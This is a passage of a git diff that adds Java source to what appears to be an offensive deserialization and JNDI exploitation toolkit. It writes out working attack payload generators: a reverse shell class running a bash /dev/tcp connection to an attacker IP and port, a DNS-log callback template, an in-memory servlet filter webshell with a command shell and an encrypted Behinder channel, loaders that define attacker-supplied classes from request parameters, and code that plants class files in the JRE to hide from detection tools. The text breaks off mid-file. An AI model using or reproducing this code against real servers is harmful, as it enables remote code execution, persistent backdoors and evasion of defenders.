String[]{"com/sun/org/apache/xalan/internal/xsltc/TransletException"}); + mv.visitCode(); + mv.visitInsn(RETURN); + mv.visitMaxs(0, 4); + mv.visitEnd(); + } + { + mv = cw.visitMethod(ACC_STATIC, "", "()V", null, null); + mv.visitCode(); + mv.visitLdcInsn(cmd); + mv.visitFieldInsn(PUTSTATIC, className, "cmd", "Ljava/lang/String;"); + mv.visitInsn(RETURN); + mv.visitMaxs(1, 0); + mv.visitEnd(); + } + cw.visitEnd(); + bytes = cw.toByteArray(); + } +} diff --git a/src/main/java/com/qi4l/JYso/template/DefineClassFromParameter.java b/src/main/java/com/qi4l/JYso/template/DefineClassFromParameter.java new file mode 100644 index 0000000..606aafe --- /dev/null +++ b/src/main/java/com/qi4l/JYso/template/DefineClassFromParameter.java @@ -0,0 +1,94 @@ +package com.qi4l.JYso.template; + +/** + * 在 shiro 等环境下,直接打内存马会出现 header 太长的问题,需要进行一个中转 + * 从 Parameter 默认为 "dc" 中取字符进行 base64 decode,然后进行类加载,参考 ShiroAttack2 + * 内存马 class 文件可以自行生成,base64 编码后由 request body 中的 dc 参数传递 + */ +public class DefineClassFromParameter { + + public static String parameter; + + static { + try { + boolean flag = false; + ThreadGroup group = Thread.currentThread().getThreadGroup(); + java.lang.reflect.Field f = group.getClass().getDeclaredField("threads"); + f.setAccessible(true); + Thread[] threads = (Thread[]) f.get(group); + for (int i = 0; i < threads.length; i++) { + try { + Thread t = threads[i]; + if (t == null) continue; + String str = t.getName(); + if (str.contains("exec") || !str.contains("http")) continue; + f = t.getClass().getDeclaredField("target"); + f.setAccessible(true); + Object obj = f.get(t); + if (!(obj instanceof Runnable)) continue; + f = obj.getClass().getDeclaredField("this$0"); + f.setAccessible(true); + obj = f.get(obj); + try { + f = obj.getClass().getDeclaredField("handler"); + } catch (NoSuchFieldException e) { + f = obj.getClass().getSuperclass().getSuperclass().getDeclaredField("handler"); + } + f.setAccessible(true); + obj = f.get(obj); + try { + f = obj.getClass().getSuperclass().getDeclaredField("global"); + } catch (NoSuchFieldException e) { + f = obj.getClass().getDeclaredField("global"); + } + f.setAccessible(true); + obj = f.get(obj); + f = obj.getClass().getDeclaredField("processors"); + f.setAccessible(true); + java.util.List processors = (java.util.List) (f.get(obj)); + for (int j = 0; j < processors.size(); ++j) { + Object processor = processors.get(j); + f = processor.getClass().getDeclaredField("req"); + f.setAccessible(true); + + Object req = f.get(processor); + Object note = req.getClass().getMethod("getNote", new Class[]{Integer.TYPE}).invoke(req, new Object[]{new Integer(1)}); + String payload = (String) note.getClass().getMethod("getParameter", new Class[]{String.class}).invoke(note, new Object[]{parameter}); + if (payload != null && !payload.isEmpty()) { + byte[] classBytes = base64Decode(payload); + java.lang.reflect.Method method = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, Integer.TYPE, Integer.TYPE); + method.setAccessible(true); + Class clazz = (Class) method.invoke(DefineClassFromParameter.class.getClassLoader(), classBytes, new Integer(0), new Integer(classBytes.length)); + clazz.newInstance(); + } + + flag = true; + } + if (flag) break; + } catch (Exception ignored) { + } + } + + } catch (Exception ignored) { + } + } + + public static byte[] base64Decode(String bs) { + Class base64; + byte[] value = null; + try { + base64 = Class.forName("java.util.Base64"); + Object decoder = base64.getMethod("getDecoder", new Class[]{}).invoke(null, (Object[]) null); + value = (byte[]) decoder.getClass().getMethod("decode", new Class[]{String.class}).invoke(decoder, new Object[]{bs}); + } catch (Exception e) { + try { + base64 = Class.forName("sun.misc.BASE64Decoder"); + Object decoder = base64.newInstance(); + value = (byte[]) decoder.getClass().getMethod("decodeBuffer", new Class[]{String.class}).invoke(decoder, new Object[]{bs}); + } catch (Exception ignored) { + } + } + + return value; + } +} diff --git a/src/main/java/com/qi4l/JYso/template/DnslogTemplate.java b/src/main/java/com/qi4l/JYso/template/DnslogTemplate.java new file mode 100644 index 0000000..442ce02 --- /dev/null +++ b/src/main/java/com/qi4l/JYso/template/DnslogTemplate.java @@ -0,0 +1,134 @@ +package com.qi4l.JYso.template; + +import com.qi4l.JYso.gadgets.utils.Cache; +import com.qi4l.JYso.gadgets.utils.Util; +import org.objectweb.asm.*; + +import static org.objectweb.asm.Opcodes.*; + +public class DnslogTemplate implements Template { + private String className; + private byte[] bytes; + private String dnslog; + + + public DnslogTemplate(String dnslog) { + this.dnslog = dnslog; + this.className = "Exploit" + Util.getRandomString(); + + generate(); + } + + public DnslogTemplate(String dnslog, String className) { + this.dnslog = dnslog; + this.className = className; + + generate(); + } + + public void cache() { + Cache.set(className, bytes); + } + + public String getClassName() { + return className; + } + + public byte[] getBytes() { + return bytes; + } + + public void generate() { + ClassWriter cw = new ClassWriter(0); + FieldVisitor fv; + MethodVisitor mv; + AnnotationVisitor av0; + + cw.visit(V1_6, ACC_PUBLIC + ACC_SUPER, className, null, "com/sun/org/apache/xalan/internal/xsltc/runtime/AbstractTranslet", null); + + { + fv = cw.visitField(ACC_PRIVATE + ACC_STATIC, "dnslog", "Ljava/lang/String;", null, null); + fv.visitEnd(); + } + { + mv = cw.visitMethod(ACC_PUBLIC, "", "()V", null, null); + mv.visitCode(); + Label l0 = new Label(); + Label l1 = new Label(); + Label l2 = new Label(); + mv.visitTryCatchBlock(l0, l1, l2, "java/io/IOException"); + mv.visitVarInsn(ALOAD, 0); + mv.visitMethodInsn(INVOKESPECIAL, "com/sun/org/apache/xalan/internal/xsltc/runtime/AbstractTranslet", "", "()V", false); + mv.visitFieldInsn(GETSTATIC, "java/io/File", "separator", "Ljava/lang/String;"); + mv.visitLdcInsn("/"); + mv.visitMethodInsn(INVOKEVIRTUAL, "java/lang/String", "equals", "(Ljava/lang/Object;)Z", false); + Label l3 = new Label(); + mv.visitJumpInsn(IFEQ, l3); + mv.visitTypeInsn(NEW, "java/lang/StringBuilder"); + mv.visitInsn(DUP); + mv.visitMethodInsn(INVOKESPECIAL, "java/lang/StringBuilder", "", "()V", false); + mv.visitLdcInsn("ping -c 1 "); + mv.visitMethodInsn(INVOKEVIRTUAL, "java/lang/StringBuilder", "append", "(Ljava/lang/String;)Ljava/lang/StringBuilder;", false); + mv.visitFieldInsn(GETSTATIC, className, "dnslog", "Ljava/lang/String;"); + mv.visitMethodInsn(INVOKEVIRTUAL, "java/lang/StringBuilder", "append", "(Ljava/lang/String;)Ljava/lang/StringBuilder;", false); + mv.visitMethodInsn(INVOKEVIRTUAL, "java/lang/StringBuilder", "toString", "()Ljava/lang/String;", false); + mv.visitVarInsn(ASTORE, 1); + mv.visitJumpInsn(GOTO, l0); + mv.visitLabel(l3); + mv.visitFrame(Opcodes.F_FULL, 1, new Object[]{className}, 0, new Object[]{}); + mv.visitTypeInsn(NEW, "java/lang/StringBuilder"); + mv.visitInsn(DUP); + mv.visitMethodInsn(INVOKESPECIAL, "java/lang/StringBuilder", "", "()V", false); + mv.visitLdcInsn("nslookup "); + mv.visitMethodInsn(INVOKEVIRTUAL, "java/lang/StringBuilder", "append", "(Ljava/lang/String;)Ljava/lang/StringBuilder;", false); + mv.visitFieldInsn(GETSTATIC, className, "dnslog", "Ljava/lang/String;"); + mv.visitMethodInsn(INVOKEVIRTUAL, "java/lang/StringBuilder", "append", "(Ljava/lang/String;)Ljava/lang/StringBuilder;", false); + mv.visitMethodInsn(INVOKEVIRTUAL, "java/lang/StringBuilder", "toString", "()Ljava/lang/String;", false); + mv.visitVarInsn(ASTORE, 1); + mv.visitLabel(l0); + mv.visitFrame(Opcodes.F_APPEND, 1, new Object[]{"java/lang/String"}, 0, null); + mv.visitMethodInsn(INVOKESTATIC, "java/lang/Runtime", "getRuntime", "()Ljava/lang/Runtime;", false); + mv.visitVarInsn(ALOAD, 1); + mv.visitMethodInsn(INVOKEVIRTUAL, "java/lang/Runtime", "exec", "(Ljava/lang/String;)Ljava/lang/Process;", false); + mv.visitInsn(POP); + mv.visitLabel(l1); + Label l4 = new Label(); + mv.visitJumpInsn(GOTO, l4); + mv.visitLabel(l2); + mv.visitFrame(Opcodes.F_SAME1, 0, null, 1, new Object[]{"java/io/IOException"}); + mv.visitVarInsn(ASTORE, 2); + mv.visitVarInsn(ALOAD, 2); + mv.visitMethodInsn(INVOKEVIRTUAL, "java/io/IOException", "printStackTrace", "()V", false); + mv.visitLabel(l4); + mv.visitFrame(Opcodes.F_SAME, 0, null, 0, null); + mv.visitInsn(RETURN); + mv.visitMaxs(2, 3); + mv.visitEnd(); + } + { + mv = cw.visitMethod(ACC_PUBLIC, "transform", "(Lcom/sun/org/apache/xalan/internal/xsltc/DOM;[Lcom/sun/org/apache/xml/internal/serializer/SerializationHandler;)V", null, new String[]{"com/sun/org/apache/xalan/internal/xsltc/TransletException"}); + mv.visitCode(); + mv.visitInsn(RETURN); + mv.visitMaxs(0, 3); + mv.visitEnd(); + } + { + mv = cw.visitMethod(ACC_PUBLIC, "transform", "(Lcom/sun/org/apache/xalan/internal/xsltc/DOM;Lcom/sun/org/apache/xml/internal/dtm/DTMAxisIterator;Lcom/sun/org/apache/xml/internal/serializer/SerializationHandler;)V", null, new String[]{"com/sun/org/apache/xalan/internal/xsltc/TransletException"}); + mv.visitCode(); + mv.visitInsn(RETURN); + mv.visitMaxs(0, 4); + mv.visitEnd(); + } + { + mv = cw.visitMethod(ACC_STATIC, "", "()V", null, null); + mv.visitCode(); + mv.visitLdcInsn(dnslog); + mv.visitFieldInsn(PUTSTATIC, className, "dnslog", "Ljava/lang/String;"); + mv.visitInsn(RETURN); + mv.visitMaxs(1, 0); + mv.visitEnd(); + } + cw.visitEnd(); + bytes = cw.toByteArray(); + } +} diff --git a/src/main/java/com/qi4l/JYso/template/DynamicFilterTemplate.java b/src/main/java/com/qi4l/JYso/template/DynamicFilterTemplate.java new file mode 100644 index 0000000..1e16ca0 --- /dev/null +++ b/src/main/java/com/qi4l/JYso/template/DynamicFilterTemplate.java @@ -0,0 +1,101 @@ +package com.qi4l.JYso.template; + +import sun.misc.BASE64Decoder; + +import javax.crypto.Cipher; +import javax.crypto.spec.SecretKeySpec; +import javax.servlet.*; +import javax.servlet.http.HttpServletRequest; +import java.io.File; +import java.io.IOException; +import java.lang.reflect.InvocationTargetException; +import java.lang.reflect.Method; +import java.util.Scanner; + +public class DynamicFilterTemplate implements Filter { + + private Class myClassLoaderClazz; + private String basicCmdShellPwd = "pass"; + private String behinderShellHeader = "X-Options-Ai"; + private String behinderShellPwd = "e45e329feb5d925b"; // rebeyond + + public DynamicFilterTemplate() { + super(); + initialize(); + } + + @Override + public void init(FilterConfig filterConfig) throws ServletException { + + } + + @Override + public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException { + System.out.println("[+] Dynamic Filter says hello"); + + if (servletRequest.getParameter("type") != null && servletRequest.getParameter("type").equals("basic")) { + //basic cmd shell + String cmd = servletRequest.getParameter(basicCmdShellPwd); + if (cmd != null && !cmd.isEmpty()) { + String[] cmds = null; + if (File.separator.equals("/")) { + cmds = new String[]{"/bin/sh", "-c", cmd}; + } else { + cmds = new String[]{"cmd", "/C", cmd}; + } + String result = new Scanner(Runtime.getRuntime().exec(cmds).getInputStream()).useDelimiter("\\A").next(); + servletResponse.getWriter().println(result); + } + } else if (((HttpServletRequest) servletRequest).getHeader(behinderShellHeader) != null) { + //behind3 shell + try { + if (((HttpServletRequest) servletRequest).getMethod().equals("POST")) { + String k = behinderShellPwd; + ((HttpServletRequest) servletRequest).getSession().setAttribute("u", k); + Cipher cipher = Cipher.getInstance("AES"); + cipher.init(2, new SecretKeySpec((((HttpServletRequest) servletRequest).getSession().getAttribute("u") + "").getBytes(), "AES")); + byte[] evilClassBytes = cipher.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(servletRequest.getReader().readLine())); + Class evilClass = (Class) myClassLoaderClazz.getDeclaredMethod("defineClass", byte[].class, ClassLoader.class).invoke(null, evilClassBytes, Thread.currentThread().getContextClassLoader()); + Object evilObject = evilClass.newInstance(); + Method targetMethod = evilClass.getDeclaredMethod("equals", new Class[]{ServletRequest.class, ServletResponse.class}); + targetMethod.invoke(evilObject, new Object[]{servletRequest, servletResponse}); + } + } catch (Exception e) { + e.printStackTrace(); + } + } else { + filterChain.doFilter(servletRequest, servletResponse); + } + } + + @Override + public void destroy() { + + } + + private void initialize() { + try { + ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); + try { + this.myClassLoaderClazz = classLoader.loadClass("com.qi4l.JYso.template.MyClassLoader"); + } catch (ClassNotFoundException e) { + String code = "yv66vgAAADIAGwoABQAWBwAXCgACABYKAAIAGAcAGQEABjxpbml0PgEAGihMamF2YS9sYW5nL0NsYXNzTG9hZGVyOylWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAClMY29tL2ZlaWhvbmcvbGRhcC90ZW1wbGF0ZS9NeUNsYXNzTG9hZGVyOwEAAWMBABdMamF2YS9sYW5nL0NsYXNzTG9hZGVyOwEAC2RlZmluZUNsYXNzAQAsKFtCTGphdmEvbGFuZy9DbGFzc0xvYWRlcjspTGphdmEvbGFuZy9DbGFzczsBAAVieXRlcwEAAltCAQALY2xhc3NMb2FkZXIBAApTb3VyY2VGaWxlAQASTXlDbGFzc0xvYWRlci5qYXZhDAAGAAcBACdjb20vZmVpaG9uZy9sZGFwL3RlbXBsYXRlL015Q2xhc3NMb2FkZXIMAA8AGgEAFWphdmEvbGFuZy9DbGFzc0xvYWRlcgEAFyhbQklJKUxqYXZhL2xhbmcvQ2xhc3M7ACEAAgAFAAAAAAACAAAABgAHAAEACAAAADoAAgACAAAABiortwABsQAAAAIACQAAAAYAAQAAAAQACgAAABYAAgAAAAYACwAMAAAAAAAGAA0ADgABAAkADwAQAAEACAAAAEQABAACAAAAELsAAlkrtwADKgMqvrYABLAAAAACAAkAAAAGAAEAAAAIAAoAAAAWAAIAAAAQABEAEgAAAAAAEAATAA4AAQABABQAAAACABU="; + byte[] bytes = new BASE64Decoder().decodeBuffer(code); + Method method = null; + try { + method = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); + method.setAccessible(true); + this.myClassLoaderClazz = (Class) method.invoke(classLoader, bytes, 0, bytes.length); + } catch (NoSuchMethodException ex) { + ex.printStackTrace(); + } + } + } catch (IllegalAccessException e) { + e.printStackTrace(); + } catch (IOException e) { + e.printStackTrace(); + } catch (InvocationTargetException e) { + e.printStackTrace(); + } + } +} diff --git a/src/main/java/com/qi4l/JYso/template/HideMemShellTemplate.java b/src/main/java/com/qi4l/JYso/template/HideMemShellTemplate.java new file mode 100644 index 0000000..393a7ca --- /dev/null +++ b/src/main/java/com/qi4l/JYso/template/HideMemShellTemplate.java @@ -0,0 +1,81 @@ +package com.qi4l.JYso.template; + +import java.io.ByteArrayInputStream; +import java.io.ByteArrayOutputStream; +import java.io.File; +import java.io.FileOutputStream; + +/** + * 通过落地恶意文件到 /jre/classes 来使 Bootstrap ClassLoader 加载恶意代码 + * 使常见的工具无法检测出系统内的内存马 + * 由于 classes 文件夹默认不存在,因此需要较高的读写权限 + */ +public class HideMemShellTemplate extends ClassLoader { + static String b64; + + static String className; + + static { + try { + writeClassFileToJRE(className, b64); + new HideMemShellTemplate().loadClass(className); + } catch (Exception ignored) { + } + } + + public static void writeClassFileToJRE(String className, String base64Content) throws Exception { + ByteArrayInputStream bais = new ByteArrayInputStream(base64Decode(base64Content)); + ByteArrayOutputStream baos = new ByteArrayOutputStream(); + byte[] bs = new byte[4096]; + int read; + + while ((read = bais.read(bs)) != -1) { + baos.write(bs, 0, read); + } + + byte[] bytes = baos.toByteArray(); + + String javaHome = System.getenv().get("JAVA_HOME"); + javaHome = javaHome == null ? System.getProperty("java.home") : javaHome; + + if (javaHome != null && (!javaHome.endsWith("jre/") || !javaHome.endsWith("jre"))) { + javaHome += "/jre/"; + } + + File file = new File(javaHome + "/classes/" + className.replace(".", "/") + ".class"); + + if (!file.getParentFile().exists()) { + file.getParentFile().mkdirs(); + } + + FileOutputStream fos = new FileOutputStream(file); + fos.write(bytes); + fos.flush(); + fos.close(); + } + + public static byte[] base64Decode(String bs) { + Class base64; + byte[] value = null; + try { + base64 = Class.forName("java.util.Base64"); + Object decoder = base64.getMethod("getDecoder", (Class) null).invoke(base64, (Object) null); + value = (byte[]) decoder.getClass().getMethod("decode", new Class[]{String.class}).invoke(decoder, new Object[]{bs}); + } catch (Exception e) { + try { + base64 = Class.forName("sun.misc.BASE64Decoder"); + Object decoder = base64.newInstance(); + value = (byte[]) decoder.getClass().getMethod("decodeBuffer", new Class[]{String.class}).invoke(decoder, new Object[]{bs}); + } catch (Exception ignored) { + } + } + return value; + } + + + @Override + protected Class loadClass(String name, boolean resolve) throws ClassNotFoundException { + System.out.println(Thread.currentThread().getContextClassLoader()); + return Class.forName(name, true, Thread.currentThread().getContextClassLoader()); + } +} diff --git a/src/main/java/com/qi4l/JYso/template/MyClassLoader.java b/src/main/java/com/qi4l/JYso/template/MyClassLoader.java new file mode 100644 index 0000000..d248548 --- /dev/null +++ b/src/main/java/com/qi4l/JYso/template/MyClassLoader.java @@ -0,0 +1,12 @@ +package com.qi4l.JYso.template; + +public class MyClassLoader extends ClassLoader { + MyClassLoader(ClassLoader c) { + super(c); + } + + + public static Class defineClass(byte[] bytes, ClassLoader classLoader) { + return new MyClassLoader(classLoader).defineClass(bytes, 0, bytes.length); + } +} diff --git a/src/main/java/com/qi4l/JYso/template/ReverseShellTemplate.java b/src/main/java/com/qi4l/JYso/template/ReverseShellTemplate.java new file mode 100644 index 0000000..e109812 --- /dev/null +++ b/src/main/java/com/qi4l/JYso/template/ReverseShellTemplate.java @@ -0,0 +1,171 @@ +package com.qi4l.JYso.template; + +import com.qi4l.JYso.gadgets.utils.Cache; +import com.qi4l.JYso.gadgets.utils.Util; +import org.objectweb.asm.*; + +import static org.objectweb.asm.Opcodes.*; + +public class ReverseShellTemplate implements Template { + private String className; + private byte[] bytes; + private String ip; + private int port; + + public ReverseShellTemplate(String ip, String port) { + this(ip, Integer.parseInt(port)); + } + + + public ReverseShellTemplate(String ip, int port) { + this.ip = ip; + this.port = port; + this.className = "Exploit" + Util.getRandomString(); + + generate(); + } + + public ReverseShellTemplate(String ip, String port, String className) { + this(ip, Integer.parseInt(port)); + this.className = className; + + generate(); + } + + @Override + public String getClassName() { + return className; + } + + @Override + public byte[] getBytes() { + return bytes; + } + + @Override + public void cache() { + Cache.set(className, bytes); + } + + @Override + public void generate() { + ClassWriter cw = new ClassWriter(0); + FieldVisitor fv; + MethodVisitor mv; + AnnotationVisitor av0; + + cw.visit(V1_6, ACC_PUBLIC + ACC_SUPER, className, null, "com/sun/org/apache/xalan/internal/xsltc/runtime/AbstractTranslet", null); + + + { + fv = cw.visitField(ACC_PRIVATE, "ip", "Ljava/lang/String;", null, null); + fv.visitEnd(); + } + { + fv = cw.visitField(ACC_PRIVATE, "port", "I", null, null); + fv.visitEnd(); + } + { + mv = cw.visitMethod(ACC_PUBLIC, "", "()V", null, null); + mv.visitCode(); + Label l0 = new Label(); + Label l1 = new Label(); + Label l2 = new Label(); + mv.visitTryCatchBlock(l0, l1, l2, "java/lang/Exception"); + Label l3 = new Label(); + mv.visitLabel(l3); + mv.visitLineNumber(12, l3); + mv.visitVarInsn(ALOAD, 0); + mv.visitMethodInsn(INVOKESPECIAL, "com/sun/org/apache/xalan/internal/xsltc/runtime/AbstractTranslet", "", "()V", false); + Label l4 = new Label(); + mv.visitLabel(l4); + mv.visitLineNumber(13, l4); + mv.visitFieldInsn(GETSTATIC, "java/io/File", "separator", "Ljava/lang/String;"); + mv.visitLdcInsn("/"); + mv.visitMethodInsn(INVOKEVIRTUAL, "java/lang/String", "equals", "(Ljava/lang/Object;)Z", false); + Label l5 = new Label(); + mv.visitJumpInsn(IFEQ, l5); + Label l6 = new Label(); + mv.visitLabel(l6); + mv.visitLineNumber(14, l6); + mv.visitInsn(ICONST_3); + mv.visitTypeInsn(ANEWARRAY, "java/lang/String"); + mv.visitInsn(DUP); + mv.visitInsn(ICONST_0); + mv.visitLdcInsn("/bin/bash"); + mv.visitInsn(AASTORE); + mv.visitInsn(DUP); + mv.visitInsn(ICONST_1); + mv.visitLdcInsn("-c"); + mv.visitInsn(AASTORE); + mv.visitInsn(DUP); + mv.visitInsn(ICONST_2); + mv.visitLdcInsn("/bin/bash -i >& /dev/tcp/" + ip + "/" + port + " 0>&1"); + mv.visitInsn(AASTORE); + mv.visitVarInsn(ASTORE, 1); + mv.visitLabel(l0); + mv.visitLineNumber(16, l0); + mv.visitMethodInsn(INVOKESTATIC, "java/lang/Runtime", "getRuntime", "()Ljava/lang/Runtime;", false); + mv.visitVarInsn(ALOAD, 1); + mv.visitMethodInsn(INVOKEVIRTUAL, "java/lang/Runtime", "exec", "([Ljava/lang/String;)Ljava/lang/Process;", false); + mv.visitInsn(POP); + mv.visitLabel(l1); + mv.visitLineNumber(19, l1); + mv.visitJumpInsn(GOTO, l5); + mv.visitLabel(l2); + mv.visitLineNumber(17, l2); + mv.visitFrame(Opcodes.F_FULL, 2, new Object[]{className, "[Ljava/lang/String;"}, 1, new Object[]{"java/lang/Exception"}); + mv.visitVarInsn(ASTORE, 2); + Label l7 = new Label(); + mv.visitLabel(l7); + mv.visitLineNumber(18, l7); + mv.visitVarInsn(ALOAD, 2); + mv.visitMethodInsn(INVOKEVIRTUAL, "java/lang/Exception", "printStackTrace", "()V", false); + mv.visitLabel(l5); + mv.visitLineNumber(22, l5); + mv.visitFrame(Opcodes.F_CHOP, 1, null, 0, null); + mv.visitInsn(RETURN); + Label l8 = new Label(); + mv.visitLabel(l8); + mv.visitLocalVariable("e", "Ljava/lang/Exception;", null, l7, l5, 2); + mv.visitLocalVariable("command", "[Ljava/lang/String;", null, l0, l5, 1); + mv.visitLocalVariable("this", "LReverseShell;", null, l3, l8, 0); + mv.visitMaxs(4, 3); + mv.visitEnd(); + } + { + mv = cw.visitMethod(ACC_PUBLIC, "transform", "(Lcom/sun/org/apache/xalan/internal/xsltc/DOM;[Lcom/sun/org/apache/xml/internal/serializer/SerializationHandler;)V", null, new String[]{"com/sun/org/apache/xalan/internal/xsltc/TransletException"}); + mv.visitCode(); + Label l0 = new Label(); + mv.visitLabel(l0); + mv.visitLineNumber(27, l0); + mv.visitInsn(RETURN); + Label l1 = new Label(); + mv.visitLabel(l1); + mv.visitLocalVariable("this", "LReverseShell;", null, l0, l1, 0); + mv.visitLocalVariable("document", "Lcom/sun/org/apache/xalan/internal/xsltc/DOM;", null, l0, l1, 1); + mv.visitLocalVariable("handlers", "[Lcom/sun/org/apache/xml/internal/serializer/SerializationHandler;", null, l0, l1, 2); + mv.visitMaxs(0, 3); + mv.visitEnd(); + } + { + mv = cw.visitMethod(ACC_PUBLIC, "transform", "(Lcom/sun/org/apache/xalan/internal/xsltc/DOM;Lcom/sun/org/apache/xml/internal/dtm/DTMAxisIterator;Lcom/sun/org/apache/xml/internal/serializer/SerializationHandler;)V", null, new String[]{"com/sun/org/apache/xalan/internal/xsltc/TransletException"}); + mv.visitCode(); + Label l0 = new Label(); + mv.visitLabel(l0); + mv.visitLineNumber(32, l0); + mv.visitInsn(RETURN); + Label l1 = new Label(); + mv.visitLabel(l1); + mv.visitLocalVariable("this", "LReverseShell;", null, l0, l1, 0); + mv.visitLocalVariable("document", "Lcom/sun/org/apache/xalan/internal/xsltc/DOM;", null, l0, l1, 1); + mv.visitLocalVariable("iterator", "Lcom/sun/org/apache/xml/internal/dtm/DTMAxisIterator;", null, l0, l1, 2); + mv.visitLocalVariable("handler", "Lcom/sun/org/apache/xml/internal/serializer/SerializationHandler;", null, l0, l1, 3); + mv.visitMaxs(0, 4); + mv.visitEnd(); + } + cw.visitEnd(); + bytes = cw.toByteArray(); + } + +} diff --git a/src/main/java/com/qi4l/JYso/template/Template.java b/src/main/java/com/qi4l/JYso/template/Template.java new file mode 100644 index 0000000..2ec3f2e --- /dev/null +++ b/src/main/java/com/qi4l/JYso/template/Template.java @@ -0,0 +1,11 @@ +package com.qi4l.JYso.template; + +public interface Template { + void generate(); + + byte[] getBytes(); + + void cache(); + + String getClassName(); +} diff --git a/src/main/java/com/qi4l/JYso/template/echoConstructor/CAllEcho.java b/src/main/java/com/qi4l/JYso/template/echoConstructor/CAllEcho.java new file mode 100644 index 0000000..4ca0e44 --- /dev/null +++ b/src/main/java/com/qi4l/JYso/template/echoConstructor/CAllEcho.java @@ -0,0 +1,88 @@ +package com.qi4l.JYso.template.echoConstructor; + +public class CAllEcho { + public static String CMD_HEADER = "cmd"; + + public static java.util.HashSet h = new java.util.HashSet(); + + public static javax.servlet.http.HttpServletRequest r = null; + + public static javax.servlet.http.HttpServletResponse p = null; + + public CAllEcho() { + F(Thread.currentThread(), 0); + } + + private static boolean i(Object obj) { + if (obj == null || h.contains(obj)) { + return true; + } + h.add(obj); + return false; + } + + private static void F(Object start, int depth) { + Class n = start.getClass(); + do { + java.lang.reflect.Field f = null; + int l = n.getDeclaredFields().length; + for (int i = 0; i < l; i++) { + f = n.getDeclaredFields()[i]; + f.setAccessible(true); + Object o = null; + try { + o = f.get(start); + if (!o.getClass().isArray()) { + p(o, depth); + } else { + Object q = null; + Object[] objs = (Object[]) o; + int len = java.lang.reflect.Array.getLength(o); + for (int j = 0; j < len; j++) { + q = objs[j]; + p(q, depth); + } + } + } catch (Exception ignored) { + } + } + } while ((n = n.getSuperclass()) != null); + } + + private static void p(Object o, int depth) { + if (depth > 52 || (r != null && p != null)) { + return; + } + if (!i(o)) { + if (r == null && javax.servlet.http.HttpServletRequest.class.isAssignableFrom(o.getClass())) { + r = (javax.servlet.http.HttpServletRequest) o; + if (r.getHeader(CMD_HEADER) == null) { + r = null; + } else { + try { + p = (javax.servlet.http.HttpServletResponse) r.getClass().getMethod("getResponse", new Class[]{}).invoke(r, new Object[]{}); + } catch (Exception e) { + r = null; + } + } + } + if (r != null && p != null) { + try { + try { + p.getWriter().println(q(r.getHeader(CMD_HEADER))); + } catch (Exception ignored) { + } + p.getWriter().flush(); + p.getWriter().close(); + } catch (Exception ignored) { + } + return; + } + F(o, depth + 1); + } + } + + public static java.io.ByteArrayOutputStream q(String cmd) { + return null; + } +} diff --git a/src/main/java/com/qi4l/JYso/template/echoConstructor/CJbossEcho.java b/src/main/java/com/qi4l/JYso/template/echoConstructor/CJbossEcho.java new file mode 100644 index 0000000..d97414d --- /dev/null +++ b/src/main/java/com/qi4l/JYso/template/echoConstructor/CJbossEcho.java @@ -0,0 +1,68 @@ +package com.qi4l.JYso.template.echoConstructor; + +public class CJbossEcho { + + public static String CMD_HEADER = "cmd"; + + public CJbossEcho() { + try { + Object req = javax.security.jacc.PolicyContext.getContext("javax.servlet.http.HttpServletRequest"); + String cmd = getMethodAndInvoke(req, "getHeader", new Class[]{String.class}, new Object[]{CMD_HEADER}).toString(); + + if (cmd != null && !cmd.isEmpty()) { + java.io.ByteArrayOutputStream baos = q(cmd); + + try { + // 高版本底层是 undertow + Class.forName("io.undertow.servlet.spec.HttpServletRequestImpl"); + Object exchange = getMethodAndInvoke(req, "getExchange", new Class[]{}, new Object[]{}); + java.io.OutputStream os = (java.io.OutputStream) getMethodAndInvoke(exchange, "getOutputStream", new Class[]{}, new Object[]{}); + os.write(baos.toByteArray()); + os.close(); + } catch (ClassNotFoundException ignored) { + Object response = getMethodAndInvoke(req, "getResponse", new Class[]{}, new Object[]{}); + if (response == null) { + java.lang.reflect.Field field = req.getClass().getDeclaredField("request"); + field.setAccessible(true); + response = getMethodAndInvoke(field.get(req), "getResponse", new Class[]{}, new Object[]{}); + + } + Object writer = getMethodAndInvoke(response, "getWriter", new Class[]{}, new Object[]{}); + getMethodAndInvoke(writer, "write", new Class[]{String.class}, new Object[]{baos.toString()}); + getMethodAndInvoke(writer, "flush", new Class[]{}, new Object[]{}); + getMethodAndInvoke(writer, "close", new Class[]{}, new Object[]{}); + } + } + } catch (Exception ignored) { + } + } + + public static java.io.ByteArrayOutputStream q(String cmd) { + return null; + } + + public static java.lang.reflect.Method getMethodByClass(Class cs, String methodName, Class[] parameters) { + java.lang.reflect.Method method = null; + while (cs != null) { + try { + method = cs.getDeclaredMethod(methodName, parameters); + method.setAccessible(true); + cs = null; + } catch (Exception e) { + cs = cs.getSuperclass(); + } + } + return method; + } + + public static Object getMethodAndInvoke(Object obj, String methodName, Class[] parameterClass, Object[] parameters) { + try { + java.lang.reflect.Method method = getMethodByClass(obj.getClass(), methodName, parameterClass); + if (method != null) + return method.invoke(obj, parameters); + } catch (Exception ignored) { + } + return null; + } + +} diff --git a/src/main/java/com/qi4l/JYso/template/echoConstructor/CJettyEcho.java b/src/main/java/com/qi4l/JYso/template/echoConstructor/CJettyEcho.java new file mode 100644 index 0000000..717a2d0 --- /dev/null +++ b/src/main/java/com/qi4l/JYso/template/echoConstructor/CJettyEcho.java @@ -0,0 +1,77 @@ +package com.qi4l.JYso.template.echoConstructor; + +import java.io.ByteArrayOutputStream; + +public class CJettyEcho { + + public static String CMD_HEADER; + + public CJettyEcho() { + try { + Class clazz = Thread.currentThread().getClass(); + java.lang.reflect.Field field = clazz.getDeclaredField("threadLocals"); + field.setAccessible(true); + Object obj = field.get(Thread.currentThread()); + + field = obj.getClass().getDeclaredField("table"); + field.setAccessible(true); + obj = field.get(obj); + + Object[] obj_arr = (Object[]) obj; + for (int i = 0; i < obj_arr.length; i++) { + Object o = obj_arr[i]; + if (o == null) continue; + + field = o.getClass().getDeclaredField("value"); + field.setAccessible(true); + obj = field.get(o); + + if (obj != null && obj.getClass().getName().endsWith("AsyncHttpConnection")) { + Object connection = obj; + java.lang.reflect.Method method = connection.getClass().getMethod("getRequest", (Class) null); + obj = method.invoke(connection, (Object) null); + + method = 